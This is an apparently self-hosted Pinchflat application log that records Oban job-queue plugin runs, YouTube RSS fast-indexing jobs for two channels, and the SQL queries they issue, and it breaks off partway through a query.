{"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:56.046 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.219 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:26.047 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:56.048 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.220 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:26.049 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:56.050 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.221 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:26.052 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:56.054 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.222 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:26.056 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:56.057 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.223 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:26.058 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:56.059 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.224 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:26.060 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:30.734 [info] {"args":{"id":1},"id":558,"meta":{},"system_time":1784880630734109392,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:10:30.734 [debug] QUERY OK source="sources" db=0.0ms idle=1315.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:10:30.734 [debug] QUERY OK source="settings" db=0.0ms idle=1315.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:30.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:10:30.734 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:30.734 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:10:31.004 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:10:31.004 [debug] QUERY OK source="media_items" db=0.2ms idle=270.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:10:31.007 [debug] QUERY OK source="media_items" db=2.0ms idle=270.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:10:31.007 [debug] QUERY OK source="tasks" db=0.0ms idle=273.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [560, 1, ~U[2026-07-24 08:10:31Z], ~U[2026-07-24 08:10:31Z]] 08:10:31.007 [info] {"args":{"id":1},"id":558,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":273719,"event":"job:stop","queue_time":511220,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:10:42.747 [info] {"args":{"id":3},"id":559,"meta":{},"system_time":1784880642747166425,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:10:42.747 [debug] QUERY OK source="sources" db=0.0ms idle=328.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:10:42.747 [debug] QUERY OK source="settings" db=0.2ms idle=328.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:42.748 [debug] QUERY OK source="media_profiles" db=0.2ms idle=329.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:10:42.748 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:42.748 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:10:42.947 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:10:42.948 [debug] QUERY OK source="media_items" db=0.2ms idle=200.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:10:42.950 [debug] QUERY OK source="media_items" db=1.7ms idle=200.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:10:42.951 [debug] QUERY OK source="tasks" db=0.0ms idle=202.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [561, 3, ~U[2026-07-24 08:10:42Z], ~U[2026-07-24 08:10:42Z]] 08:10:42.951 [info] {"args":{"id":3},"id":559,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":203989,"event":"job:stop","queue_time":620027,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:10:56.061 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.225 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:26.062 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:56.064 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.226 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:26.065 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:56.066 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.227 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:26.067 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:56.068 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.228 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:26.069 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:56.070 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.228 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:26.071 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:56.072 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.230 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:26.073 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:56.074 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.230 [info] {"source":"oban","duration":99,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:26.076 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:56.078 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.231 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:26.079 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:56.080 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.233 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:26.081 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:56.082 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.234 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:26.083 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:31.383 [info] {"args":{"id":1},"id":560,"meta":{},"system_time":1784881231383333484,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:20:31.383 [debug] QUERY OK source="sources" db=0.1ms idle=1964.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:20:31.383 [debug] QUERY OK source="settings" db=0.0ms idle=1964.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:31.383 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:31.384 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:31.384 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:20:31.515 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:20:31.516 [debug] QUERY OK source="media_items" db=0.3ms idle=132.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:20:31.518 [debug] QUERY OK source="media_items" db=1.9ms idle=133.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:20:31.519 [debug] QUERY OK source="tasks" db=0.0ms idle=135.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [562, 1, ~U[2026-07-24 08:20:31Z], ~U[2026-07-24 08:20:31Z]] 08:20:31.519 [info] {"args":{"id":1},"id":560,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":136023,"event":"job:stop","queue_time":375535,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:20:43.395 [info] {"args":{"id":3},"id":561,"meta":{},"system_time":1784881243395157344,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:20:43.395 [debug] QUERY OK source="sources" db=0.0ms idle=1976.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:20:43.395 [debug] QUERY OK source="settings" db=0.0ms idle=1976.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:43.395 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:43.395 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:43.395 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:20:43.430 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:20:43.431 [debug] QUERY OK source="media_items" db=0.3ms idle=35.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:20:43.433 [debug] QUERY OK source="media_items" db=1.6ms idle=36.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", 